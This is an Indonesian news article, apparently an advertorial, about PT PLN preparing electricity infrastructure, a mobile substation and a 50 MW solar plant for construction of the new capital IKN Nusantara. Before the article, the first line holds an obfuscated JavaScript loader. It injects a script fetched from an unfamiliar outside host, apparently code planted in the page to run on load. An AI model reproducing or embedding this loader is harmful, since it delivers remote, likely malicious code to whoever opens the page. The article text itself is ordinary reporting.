(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BALIKPAPAN – Tantangan penyediaan kelistrikan untuk masa konstruksi IKN dijawab dengan baik oleh PT PLN (Persero). PLN telah menyiapkan rencana pembangunan infrastruktur yang sejalan dengan prinsip Environment, Sustainability and Governance untuk melistriki pembangunan ibu kota negara yang mengusung konsep “Future Smart Forest City of Indonesia†tersebut.
Direktur Transmisi dan Perencanaan Sistem PT PLN (Persero) Evy Haryadi meninjau langsung lokasi untuk melihat progres konstruksi dan kebutuhan beban di beberapa titik di dalam kawasan IKN Nusantara pada Senin (2/1/2023).
“Hari ini selain meninjau kesiapan infrastruktur kelistrikan, saya juga berkoordinasi dengan Kementerian PUPR untuk menyinergikan kebutuhan listrik selama masa konstruksi dan pasca konstruksi nantinya†ujar Evy.
Pada tahap pertama, populasi di IKN diperkirakan akan mencapai 487 ribu dengan proyeksi kebutuhan listrik mencapai 95 Mega Watt (MW).
Baca juga : 5 Sungai di Banjarbaru Tercemar Ringan, Ini Penyebabnya
Ditemui di Titik Nol IKN Nusantara, General Manager PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan (PLN UIP3B Kal) Abdul Salam Nganro menjelaskan, kondisi sistem kelistrikan di Kalseltengtim saat ini memiliki cadangan daya listrik hingga 372 MW.
Selain itu, saat ini pihaknya tengah menyiapkan dua buah gardu induk mobile dengan masing-masing kapasitas 20 Mega Volt Ampere (MVA) dan 30 MVA.
“Untuk dapat memberikan pelayanan yang andal dalam masa konstruksi IKN, kami menyiapkan dua buah gardu induk mobile yang akan dibangun di kawasan Gresik dan ditargetkan akan beroperasi pada April mendatang,†ujar Salam.
Selain itu, PLN saat ini telah mencanangkan pembangunan Pembangkit Listrik Tenaga Surya (PLTS) IKN dengan kapasitas 50 Mega Watt yang dilengkapi baterai berkapasitas 8,3 Mega Watt hour (MWh). PLTS tersebut akan dibangun di atas lahan seluas 161 hektare dengan total investasi mencapai 115 juta USD.
Baca juga : Viral Truk HD Melintas di Jalan Utama Kota Banjarmasin, Tanpa Dikawal, Aparat Kecolongan
“Dengan berbekal pengalaman kami menyelesaikan PLTS Apung dalam waktu satu setengah bulan, demi kepentingan negara, kami siap bersinergi dengan Kemenko Marves dan kementerian lainnya untuk menyukseskan pembangunan proyek ini,†ujar Evy.
Dalam lawatannya, Evy Haryadi beserta jajaran General Manager PLN Group Kalimantan juga melihat progres konstruksi gedung kantor Presiden dan lokasi upacara. Setelah dari kantor Presiden, Evy melanjutkan perjalanan ke lokasi glamping dan hunian pekerja konstruksi untuk memastikan kebutuhan listrik di sana. (Kanalkalimantan.com/adv)
Reporter : adv
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.